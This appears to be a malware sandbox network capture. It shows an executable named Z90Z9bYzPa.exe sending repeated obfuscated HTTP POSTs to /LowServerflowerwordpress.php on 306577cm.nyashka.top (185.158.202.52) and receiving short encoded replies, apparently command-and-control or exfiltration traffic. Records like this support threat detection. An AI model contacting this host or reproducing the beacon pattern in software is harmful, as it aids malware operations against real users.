Jan 7, 2025 11:57:37.605181932 CET	2536	OUT	Data Raw: 50 5e 5c 5d 5a 45 5c 51 5a 59 51 55 5a 55 50 5c 55 50 5b 53 55 52 54 5f 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P^\]ZE\QZYQUZUP\UP[SURT_YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&("-<#^ 0&+';&3>5T*)V0/700Y-%[/ Q-
Jan 7, 2025 11:57:37.887810946 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:38.016693115 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49768	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:38.139390945 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:38.495651007 CET	2536	OUT	Data Raw: 55 5e 5c 53 5f 49 5c 52 5a 59 51 55 5a 5f 50 5d 55 56 5b 58 55 54 54 5f 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U^\S_I\RZYQUZ_P]UV[XUTT_YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%_<_?3!Y&6,T$^"$<!.<_ T0$^ (X-%[/ Q-$
Jan 7, 2025 11:57:38.780689955 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:38.947056055 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49769	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:39.080321074 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:39.433187962 CET	2536	OUT	Data Raw: 50 59 59 5b 5f 40 5c 55 5a 59 51 55 5a 5f 50 51 55 51 5b 5c 55 54 54 5e 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PYY[_@\UZYQUZ_PQUQ[\UTT^YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%\(&[?#8"0;'C4V'+:$!!>8>3<##Y:%[/ Q-$
Jan 7, 2025 11:57:39.716711044 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:39.851012945 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49770	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:39.982783079 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:40.339382887 CET	2536	OUT	Data Raw: 55 59 5c 58 5f 45 5c 50 5a 59 51 55 5a 54 50 52 55 55 5b 5d 55 53 54 5b 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: UY\X_E\PZYQUZTPRUU[]UST[YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%+2><U;^50'\$5,W0-\&<2!(9$3"#394%[/ Q-
Jan 7, 2025 11:57:40.629468918 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:40.761420965 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49771	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:40.784035921 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 1860 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:41.136317968 CET	1860	OUT	Data Raw: 50 5c 5c 5f 5f 49 59 51 5a 59 51 55 5a 5f 50 54 55 57 5b 5d 55 5f 54 53 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P\\__IYQZYQUZ_PTUW[]U_TSYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&(2!?3(!80%?'5X'?&6?)9T%<'##\:%[/ Q-$
Jan 7, 2025 11:57:41.439862967 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:41.571013927 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 06 12 26 5b 35 1a 09 57 24 2d 34 0d 27 2b 31 0f 3f 54 32 06 28 33 25 06 33 06 38 0c 26 2c 20 02 35 2c 3c 40 2a 01 35 58 22 0e 03 0d 26 13 28 5c 00 1b 24 13 24 31 27 10 2a 0c 04 1c 27 34 3a 15 32 0b 3c 14 21 2e 26 18 36 00 3a 0f 23 04 24 53 2e 07 3f 1e 2b 42 30 06 2e 37 2c 01 23 39 20 51 0d 17 38 15 33 07 28 5f 27 5a 3e 5d 21 27 15 09 23 1b 29 11 26 12 22 12 31 3d 2b 1f 3c 07 34 58 23 2c 26 04 35 3b 23 52 35 29 21 0a 2a 2c 23 5d 22 00 20 52 0d 33 58 4f Data Ascii: &[5W$-4'+1?T2(3%38&, 5,<@5X"&(\$$1''4:2<!.&6:#$S.?+B0.7,#9 Q83(_'Z>]!'#)&"1=+<4X#,&5;#R5)!*,#]" R3XO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49772	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:40.887823105 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:41.245723963 CET	2536	OUT	Data Raw: 55 5f 59 5e 5f 41 5c 52 5a 59 51 55 5a 5e 50 51 55 54 5b 53 55 5f 54 5d 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U_Y^_A\RZYQUZ^PQUT[SU_T]YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&<1:^(U# 03%?$%_'Y6=0))<S$(7'94%[/ Q-
Jan 7, 2025 11:57:41.527457952 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:41.655803919 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49773	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:41.789067030 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 7, 2025 11:57:42.136428118 CET	2536	OUT	Data Raw: 50 5f 59 5c 5f 49 59 57 5a 59 51 55 5a 5a 50 52 55 51 5b 5d 55 56 54 52 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P_Y\_IYWZYQUZZPRUQ[]UVTRYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%*!]<0 60'6?'+%'Z%_#.#)7%/<#U#-4%[/ Q-0
Jan 7, 2025 11:57:42.446105003 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:42.616642952 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49774	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:42.745909929 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:43.104959011 CET	2536	OUT	Data Raw: 50 5f 59 59 5f 48 59 54 5a 59 51 55 5a 5b 50 57 55 50 5b 53 55 56 54 58 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P_YY_HYTZYQUZ[PWUP[SUVTXYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&1"< ;Z"33$%333,&!0*_0T' \ X.$%[/ Q-
Jan 7, 2025 11:57:43.401967049 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:43.534919024 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49775	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:43.651822090 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:44.011226892 CET	2536	OUT	Data Raw: 50 5a 5c 5b 5a 46 59 51 5a 59 51 55 5a 5e 50 57 55 5e 5b 5e 55 52 54 53 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PZ\[ZFYQZYQUZ^PWU^[^URTSYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&+"=<3,"V?]3%$V$+"3<1Z5/*_7'] 009%[/ Q-
Jan 7, 2025 11:57:44.302196026 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:44.431298971 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49776	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:44.564754009 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:44.917465925 CET	2536	OUT	Data Raw: 50 5c 59 5f 5a 45 59 51 5a 59 51 55 5a 5a 50 51 55 53 5b 58 55 54 54 5c 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P\Y_ZEYQZYQUZZPQUS[XUTT\YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%(!&> ']!3#\&&7$.0?5Z#.8><$<8Y4$],$%[/ Q-0
Jan 7, 2025 11:57:45.224997044 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:45.363913059 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49777	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:45.519474983 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:45.871499062 CET	2536	OUT	Data Raw: 50 53 5c 5c 5a 46 59 5a 5a 59 51 55 5a 5a 50 5c 55 56 5b 59 55 55 54 59 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PS\\ZFYZZYQUZZP\UV[YUUTYYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&<W">0;^ 3,385$=";=9#0?<^#?-%[/ Q-0
Jan 7, 2025 11:57:46.156394958 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:46.287113905 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49778	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:46.419755936 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49779	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:46.582381964 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 1860 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:46.933260918 CET	1860	OUT	Data Raw: 50 5e 59 5e 5a 42 59 55 5a 59 51 55 5a 59 50 53 55 55 5b 53 55 5e 54 5b 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P^Y^ZBYUZYQUZYPSUU[SU^T[YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%<W-<3+[50'$^=X'<[5=: 0, \#3.%[/ Q-<
Jan 7, 2025 11:57:47.248301029 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:47.380758047 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 06 12 26 59 21 1a 09 57 33 3e 33 51 33 2b 36 51 3c 31 21 12 2b 1d 00 13 27 38 3b 12 25 12 38 07 22 3f 23 18 3d 59 29 58 23 20 3e 57 27 29 28 5c 00 1b 24 1e 30 0c 0a 0c 3d 32 22 53 25 0e 2d 05 26 31 3c 59 22 13 2e 53 22 5f 36 0a 20 03 23 0a 2d 3e 20 0c 3c 0a 0d 58 2d 37 2b 5a 37 29 20 51 0d 17 38 52 30 07 3f 01 30 5a 3a 5c 35 09 2b 0e 23 0b 39 58 26 02 04 5c 31 13 01 5a 3c 39 3c 5b 36 02 39 5e 21 01 23 54 20 2a 2e 53 3e 16 23 5d 22 00 20 52 0d 33 58 4f Data Ascii: &Y!W3>3Q3+6Q<1!+'8;%8"?#=Y)X# >W')(\$0=2"S%-&1<Y".S"_6 #-> <X-7+Z7) Q8R0?0Z:\5+#9X&\1Z<9<[69^!#T *.S>#]" R3XO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49780	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:46.700835943 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:47.058126926 CET	2536	OUT	Data Raw: 50 59 59 5b 5a 44 59 53 5a 59 51 55 5a 5b 50 55 55 5f 5b 5c 55 57 54 52 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PYY[ZDYSZYQUZ[PUU_[\UWTRYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%]<29(38!?3&4Q$($,5X'()($<"#0X,4%[/ Q-
Jan 7, 2025 11:57:47.354871988 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:47.484678984 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49781	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:47.610399008 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 7, 2025 11:57:47.982176065 CET	2536	OUT	Data Raw: 55 5f 5c 5d 5f 40 59 55 5a 59 51 55 5a 5a 50 53 55 56 5b 5f 55 57 54 53 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U_\]_@YUZYQUZZPSUV[_UWTSYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%Y*!:(360$0C4Q0+=X'/!X"> >4V$X# ^-%[/ Q-0
Jan 7, 2025 11:57:48.261003017 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:57:48.392878056 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49782	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:57:48.513257980 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:57:48.870662928 CET	2536	OUT	Data Raw: 55 5d 5c 5c 5a 44 5c 50 5a 59 51 55 5a 54 50 51 55 50 5b 5e 55 5f 54 5a 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U]\\ZD\PZYQUZTPQUP[^U_TZYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%_(2+#'6V<&%$P38.&?:6.+=V3^70 Y-%[/ Q-
Jan 7, 2025 11:57:49.169735909 CET	25	IN	HTTP/1.1 100 Continue
